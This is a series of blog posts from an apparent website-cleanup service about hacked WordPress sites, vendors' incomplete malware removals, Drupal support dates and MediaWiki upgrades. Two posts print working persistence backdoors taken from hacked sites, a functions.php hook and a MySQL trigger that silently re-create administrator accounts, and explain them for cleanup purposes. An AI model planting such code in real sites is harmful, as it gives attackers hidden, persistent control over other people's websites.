Wordfence Care Failed to Resolve Reoccurring Malware Issue on WordPress Website

When it comes to cleaning up hacked WordPress websites, the most important part of doing that is often not done. That being trying to figure out how the website was hacked and fixing that. Sometimes you can get away with failing to do that, other times the problem is going to come back again and again.

As an example of that, take someone who was looking for help with a hacked WordPress website recently from the developer of the Wordfence Security plugin. They wrote that they had done the following:

Steps I have taken so far:

  1. Scanned my website using a security plugin, but the malware continues to reappear.
  2. Removed wp-links.php, sw.js, index.php, google.json, and the affected plugin files manually from the respective directories.
  3. Checked theme files for suspicious code and removed any identified malicious snippets.
  4. Updated WordPress, themes, and plugins to their latest versions.
  5. Changed all passwords related to my website, including admin, FTP, and database.

But that hadn’t resolved the issue:

Despite these efforts, the malware keeps reappearing, and I’m unable to find the source of the infection.

They rightly understood the need to figure out the source of the infection, which notably is something that many malware cleanup services for WordPress websites don’t do. We know they don’t do that because we are often brought in to re-clean hacked WordPress websites where that wasn’t done before and doing that shows that in addition to not finding the source of the infection; the provider missed parts of the malware currently on the website.

The response from the developer didn’t provide helpful information, but it did promote hiring them to clean up the website. According to the poster they tried that, getting the Wordfence Care service, but that didn’t help:

I already got the Wordfence Care, but you still can’t give the permanent solution for me.

The results from the more expensive Wordfence Response don’t appear to be better.

WordPress Security Plugins Won’t Fully Disinfect a Hacked WordPress Website

When it comes to cleaning up hacked WordPress websites, there is a lot of advice suggesting solutions that are easy, but don’t properly address the situation. That leads to continuing issues that could have been addressed quickly if handled by a professional like us.

As an example of what not to do, take a recent post from the WordPress Support Forum, where someone claimed to have done a full disinfection of a website, which hadn’t worked:

Despite the fact that we did full disinfections, restored backup files several times, and added strong security systems plus CDNs, Google Search Console and McAfee blocked us from the site, for being malicious, for a long time.

One thing missing there is trying to figure out how the website was hacked. That is important for multiple reasons. One of them being that if you don’t know how the website was hacked, then you can’t be sure the issue has been addressed and won’t happen again. Another reason is that if you don’t know how the website was hacked, then you also likely don’t know when it was hacked. Restoring a backup file won’t clear out malicious code, if the malicious code is in the backup as well.

Another issue is that they were trying to find malicious code using several WordPress security plugins, which didn’t find it:

This code is invisible to the user and to monitoring systems such as Wordfence, iThemes S[ecurity], All-In-One Security (AIOS), and Anti-Malware Security and Brute-Force Firewall. None have detected it.

While they are claiming the code was invisible, their description of it tells a different story:

A function added to the head of a theme’s .js file, which uses a “Get” call and links to an encrypted external link.

It is only shown when loading certain pages in the browser code inside (it is not always shown…)

During a proper cleanup, theme files would be checked and before even starting on a hack cleanup, a professional should have noticed the code was being loaded on the website (even though the subsequent code loaded would only occur in some instances). A professional would have been looking for the code before starting, as often people think that some other issue with a website is a hack. So they want to make sure a hack cleanup is needed before starting.

Automated malware detection doesn’t work well, as it both fails to detect plenty of malicious code (as occurred here) and also flags legitimate code as being malicious.

MalCare Customer Indirectly Warns It Fails to Protect Websites From Being Hacked

We recently were contacted with a strange request. Someone was asking us for a refund for a hack cleanup plan. We don’t have any such plans. We provide onetime cleanups and we only charge after the hack cleanup is completed. It turned out that the person had somehow run across a two-year-old post of ours warning about a provider named Malcare, titled MalCare Review: It’s Obvious They Are Taking Advantage of Their Customers, and then contacted us as if we were Malcare.

The request for a refund mentioned things that were in line with what we were warning about two years ago. They wrote this in part:

 Your plan was not working out as planned. I am still cleaning up a lot of damage since my site was hacked, I had to resort to a different plan.

And this:

Looking at the backup you had on your site, the database was filled with numerous users, of which I did not know. I had to clean up my database manually.

After dealing with that, we were curious to see if other of their customers have been complaining about their service recently. What we saw was that people are still being misled by them in to believing that their service offers things it doesn’t, while another of their customers who are not criticizing the service refuted that.

Here is part of one recent customer review:

Definitely a game-changer for our websites. Full removal of hacks and complete protection from current and future attempts.

The customer obviously doesn’t know that it will actually offer complete protection from future hacking attempts. The service can’t do that, but everything we have seen it won’t even do a good job of the protection it could possibly offer. Don’t take our word for that. Here was part of another recent positive customer review:

MalCare and the team behind it have gone above and beyond their stated service to help me restore my website from malicious hacks of my WordPress website. On more than one occasion they were able to scan and clean my site of infected files. Anyone who has a website knows how horrible it feels to learn that your site has been hacked.

Based on that, their website has been hacked at least once while using MalCare’s service. If that wasn’t the case, they wouldn’t have been cleaning it up multiple times, unless they failed to properly clean it up the first time.

Drupal 7 is Still Supported

Earlier this month, we received an email claiming that version 7 of Drupal isn’t supported anymore. That claim came as part of trying to get people to hire the emailer to do an upgrade to Drupal 9. Here are the full contents of the email:

No Official Support For Drupal 7 or 8
Upgrade To Drupal 9 Today

It has been officially announced that Drupal 7 is no longer receiving official support from the Drupal community. This means that while the software may still function, securities updates and technical fixes are no longer provided by the core development unit.

The solution is to upgrade your website to Drupal 9, the latest version, because:

1) Drupal 9 offers enhanced performance and securities.

2) Drupal 9 offers a conversational UI and user-friendliness.

3) Drupal 9 has better programmatical improvements, resulting in better speed.

4) Drupal 9 offers ecommerce empowerment. If you have…

In reality, in June, it was announced that support for Drupal 7 would continue until January 5, 2025.

Beyond that falsehood, you can’t do an upgrade from Drupal 7 to a newer version, you have to do a migration.

Also, Drupal 9 was superseded as the latest version of Drupal in December of last year. Support for Drupal 9 ends in November.

Support for Drupal 8 ended in November of 2021 so you should have already upgraded to a newer version.

If you are still running Drupal 7, you should make sure you have upgraded to the latest version of that.

The Cause of a WordPress Website Having User Registration Suddenly Enabled and the Default Role Being Set to Administrator

Oftentimes, when it comes to how WordPress websites have been hacked, it is hard to say without doing a proper cleanup what was the original source of the hack. But in some cases it is easy to say what was likely the cause. Take this description of what happened with a recently hacked WordPress website:

Yesterday at 23:08 I received an email from my wordpress “Admin Email Changed”: “[…]The new admin email address is ad@example.com.[…]”

Right after that, a new user registered, cryptic username “wpnew_kmyjzvfyoflv” This username had admin role!

Today in the morning when I realized, I checked, in the settings was “Anyone can register” checked and standard userrole is Administrator.

What you have there is a hacker being able to change three WordPress settings. The admin email address for the website, whether anyone can register for an account, and the default user role for new accounts. How could they do that? Either they would need the ability to directly change the content of the database used for the website or they would need to be able to change arbitrary WordPress settings.

You can rule out the first as the likely cause, as a hacker could, among other things, create a new Administrator account without going through additional steps if they have direct access to the database.

That leaves the second option. The cause of that is almost certainly going to be what is usually referred to as an option update vulnerability. That is a type of vulnerability that hackers are guaranteed to try to exploit if they know about them.

In addition to cleaning up whatever the hacker does once they have changed the WordPress settings, you need to make sure the vulnerability has been fixed to address this. That might be as simple as updating a plugin, if it has had that type of vulnerability and it has been fixed. If you don’t know what the source is and you don’t have the capability to figure that out, then it is time to bring in someone who has the capability to both review the log files for the website and review the plugins being used on the website.

How Another Hacker Was Able to Re-Add a Malicious User to a Hacked WordPress Site

In October, we wrote about how a hacker was able to re-add a malicious user to a hacked WordPress site using a database trigger. That isn’t the only way they can do that, as we found while working on cleaning up a hacked WordPress website recently. In this situation, as soon as a malicious Administrator account was deleted, a new account with the same account information would be created. The cause was code added to the end of the functions.php file for the theme currently in use on the website.

That code was as follows:

add_action( 'init', function () {
 
$username = 'kshivvamaster';
$password = 'Admin@2020';
$email_address = 'kshivva@gmail.com';
 
if ( ! username_exists( $username ) ) {
$user_id = wp_create_user( $username, $password, $email_address );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
 
} );

The first line causes the rest of the code to run whenever WordPress loads. The rest of the code checks if the username “kshivvamaster” exists. If it doesn’t exist, it creates a new account with that username along with the specified password and email address in the code. That account is given the Administrator role.

You Might Need to Upgrade MediaWiki in Steps Even if the Manual Says Otherwise

It used to be that you could upgrade an older version of the MediaWiki software directly to the latest version. According to the manual for that, that officially changed as of version 1.36:

Since Version 1.36, MediaWiki only commits to supporting upgrades from two LTS releases ago (see phab:T259771). Upgrades from older versions of MediaWiki will have to be performed in multiple steps. This means that if you want to upgrade to 1.36 from 1.23 or earlier, you’ll first have to upgrade your 1.23 wiki to 1.27 (or 1.35), and, from 1.27 (or 1.35), you’ll be able to upgrade to 1.36.

We were brought in to do a MediaWiki upgrade for a website running version 1.31 recently. According to that information, that should have been upgradeable directly to the latest version, 1.39, as 1.31 and 1.35 are the two long-term support (LTS) versions before 1.39. Instead, when doing a direct upgrade, we found the website was broken. We also found that doing an intermediate upgrade to 1.35 before going to 1.39 produced the same result. What we found from further testing is that it needed to be upgraded to 1.33 before being upgraded to 1.39 to avoid the website being broken after the upgrade.

One way to avoid problems here would be to do an upgrade to each major version instead of skipping any. That approach isn’t necessarily very practical depending on the amount of time it takes to do each upgrade, which can be considerable depending on the particulars of the website and the server it is on.

Another way to avoid problems is to make sure to do a test of the upgrade first. That way you don’t find that the website is broken after the upgrade and you are trying to rush to fix the problem. As we were doing a test first, we could patiently look into the problem and found the easiest way to resolve it was to do that intermediate upgrade.

Upgrading Semantic MediaWiki When You Don’t Have Access to the Command Line (Shell)

The tools and access that those developing web software have available is not always the same as those available to those running the software on their website. Case in point, we were recently working on an upgrade of a MediaWiki website using the Semantic MediaWiki extension where there wasn’t access to the command line (shell) with the hosting account for the website. The upgrade process for Semantic MediaWiki involves you having that access. We were able to work around that and we have some important information for anyone trying to do that as well.

What we thought we could do is to prepare the files for the upgrade on a local copy of the website, copy those to the server, and then do the database upgrade on the server. That didn’t work out.

Upgrading the files needs to be done elsewhere than the website since it relies on Composer. We thought that we could run the database update for Semantic MediaWiki on the server though, since MediaWiki has a web updater for those not able to run its updates through the command line. While that worked for updating MediaWiki on this server, we found that the Semantic MediaWiki upgrade didn’t get applied when doing that.

After doing the database update elsewhere and copying that to the server, we ran into another problem. We got this error message:

Semantic MediaWiki was installed and enabled but is missing an appropriate upgrade key.

With the code “ERROR_SCHEMA_INVALID_KEY“.

The linked documentation wasn’t all that helpful on what was at issue there. What we found was that a change needed to be made to the file /extensions/SemanticMediaWiki/.smw.json. Specifically, the database name in that file needed to be corrected to match the name of the database on the server. The contents of the file look like this:

{
“databasename”: {
“upgrade_key”: “b1d9d6bec582041a8aca10a4d380cfc75aa86e7f”,
“maintenance_mode”: false
}
}

In a real file, instead of databasename would be the name of the database. Correcting that resolved the error.

How a Hacker Was Able to Re-Add a Malicious User to a Hacked WordPress Site

It is pretty common for it to appear that hacked WordPress websites have gotten re-hacked. What we find from being brought in to re-clean them is that often websites haven’t been re-hacked, instead the original cleanup was incomplete, leaving parts of the hack in place. Often that is because whomever did the original clean up cut corners during the cleanup, but it is also possible the hacker has hidden something in ways that it would be reasonable to have missed, based on what hackers commonly do.

A recent post on WordPress’ forum mentioned an example of the latter, which is worth highlighting. According to the poster, a database trigger was added to the database for the website, which would create a new WordPress user account for the hacker. A database trigger involves code that runs automatically in certain circumstances. The code was:

BEGIN
     IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
         SET @lastInsertWpUsersId = (SELECT MAX(id) FROM database.wp_users);
         SET @nextWpUsersID = @lastInsertWpUsersId + 1;
         INSERT INTO database.wp_users (ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwwoGJxViPhtGdNG5UZs0', 'wpadmin', 'wp-security@hotmail.com', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris');
         INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');
         INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10');
     END IF;
 END

The second line of that causes the rest of the code to run if a new blog comment is created that contains the phrase “are you struggling to get comments on your blog?” in it.

The rest of the code creates a new WordPress user account with the username “wpadmin” that has the Administrator role. As is pretty common, the email associated with the account is made to look like it might be something official or security related. In this case it is “wp-security@hotmail.com”.

What is slightly more sophisticated than we usually see with malicious WordPress user accounts created through the database is that the account has a creation date, and one well in the past, “2014-06-08 00:00:00”.

It is important to note for anyone coming across this while trying to figure out how a malicious WordPress user account has been added or re-added, that there are other ways hackers can do this. For example, if a hacker has direct access to the database, then they can create an account. So if, say, the database password wasn’t changed when the website was being cleaned up, the hacker might be able to gain access to the database that way. It is also possible for them to indirectly access the database, say, with malicious code in one of the website’s files.

Often times you can start figuring out how the hacker has re-gained access to the website by reviewing the log files for the website. Even in this case, there would be activity from the hacker logged, from when they posted the comment. Though, it wouldn’t be obvious that it would be malicious activity, as it would be when a request is being sent to a file on the website that shouldn’t be there or that shouldn’t be receiving direct requests.

SiteLock is Still Leaving Websites in a Broken State After Incomplete Malware Removals

It usually isn’t too difficult to properly clean up malware infected websites, but that doesn’t mean that security companies won’t cut corners. Here was someone recently looking for help after SiteLock had left their website broken after doing malware removal:

My website was recently hacked. I worked with the domain host and SiteLock to remove the malware. The site is now back, but not functioning properly. The formatting is generic and the menu is gone. Any help would be greatly appreciated.

That isn’t a new problem, that has been going on for years. Despite that, web hosts continue to partner with them because they pay the web hosts a significant amount of their fees. That probably helps to explain the result, since lots of the money being paid for the service isn’t being spent on the work.

If you hire us to remove malware from your website, we will make sure that everything is working again before we even charge you for the work.